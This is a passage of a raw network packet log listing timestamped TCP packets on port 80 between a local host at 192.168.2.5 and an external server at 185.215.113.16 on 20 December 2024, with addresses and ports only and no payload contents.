Dec 20, 2024 16:53:38.264575005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.264605045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.265410900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265424967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265438080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265445948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265463114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265474081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.265475035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.265505075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.265533924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.266371012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.266386032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.266396999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.266410112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.266417027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.266437054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.267373085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.267388105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.267399073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.267411947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.267426014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.267426014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.267443895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.267477036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.268349886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.268366098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.268377066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.268389940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.268402100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.268415928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.268433094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.269221067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.269268990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.269272089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.269284964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.269296885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.269309998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.269321918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.269355059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.270257950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.270272017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.270283937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.270296097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.270317078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.270343065 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.271178961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271465063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271477938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271490097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271517038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.271528959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271538019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.271543026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.271589994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.272564888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.272578955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.272588968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.272602081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.272615910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.272634029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.272650003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.273494005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.273507118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.273519039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.273531914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.273539066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.273544073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.273569107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.273605108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.274409056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.274422884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.274435043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.274446964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.274466991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.274494886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.275317907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.275338888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.275351048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.275363922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.275376081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.275392056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.275449991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.276288986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.276307106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.276318073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.276329994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.276340961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.276361942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.277285099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.277297974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.277307987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.277312994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.277323961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.277334929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.277362108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.277393103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.278233051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.278251886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.278266907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.278279066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.278290033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.278294086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.278314114 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.279216051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.279228926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.279238939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.279249907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.279263020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.279266119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.279292107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.279325008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.280194044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.280206919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.280216932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.280230045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.280251026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.280287027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.281199932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.281228065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.281240940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.281250954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.281261921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.281275988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.281294107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.284790039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.284837961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.284934998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.284949064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.284990072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.285397053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.285407066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.285418987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.285429955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.285448074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.285464048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.286197901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.286216021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.286225080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.286233902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.286245108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.286264896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.286463976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.287126064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.287144899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.287154913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.287168980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.287193060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.287199974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.287204027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.287256956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.288162947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.288175106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.288184881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.288197041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.288208008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.288249969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.289066076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289083004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289093018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289108992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289120913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289132118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.289133072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.289155006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.289180040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.290061951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290072918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290085077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290117025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.290575981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290585995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290596962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290607929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.290617943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.290632010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.291568041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.291587114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.291596889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.291610956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.291619062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.291623116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.291642904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.291657925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.292505980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.292517900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.292540073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.292552948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.292562008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.292567968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.292582035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.293524981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.293538094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.293548107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.293560028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.293570042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.293591022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.294419050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.294470072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.294472933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.294481993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.294491053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.294523954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.295465946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.295476913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.295485973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.295495987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.295506001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.295520067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.295555115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.296432018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.296442986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.296452999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.296463966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.296479940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.296510935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.297468901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.297480106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.297489882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.297524929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.297527075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.297537088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.297565937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.298373938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.298387051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.298394918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.298404932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.298413992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.298418999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.298446894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.298460007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.370131969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370230913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370244026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370280981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.370702982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370714903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370733976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370745897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.370750904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.371088028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.371506929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.371516943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.371529102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.371541023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.371552944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.371604919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.371604919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.372426033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372437954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372450113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372529984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.372961044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372973919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372984886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.372992039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.373029947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.373029947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.373920918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.373934984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.373946905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.373963118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.374136925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.445970058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446029902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446046114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446099043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.446502924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446516037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446530104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446542978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.446553946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.446609020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.447469950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.447484970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.447496891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.447510958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.447525024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.447532892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.447602034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.448440075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.448455095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.448470116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.448483944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.448513985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.448556900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.449516058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.449554920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.449565887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.449579954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.449593067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.449624062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.449688911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.477055073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477117062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.477144003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477157116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477205992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.477632046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477652073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477679014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477689981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.477706909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.477744102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.478384972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.478451014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.478463888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.478476048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.478490114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.478508949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.478526115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.479480028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.479492903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.479506016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.479517937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.479547024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.479598045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.480326891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.480348110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.480360031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.480395079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.480415106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.480415106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.481339931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.481353045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.481364012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.481376886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.481393099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.481396914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.481435061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.481448889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.482321024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.482335091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.482346058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.482358932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.482376099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.482381105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.482422113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.483266115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.483279943 CET	80	49739	185.215.113.16	192.168.2.5
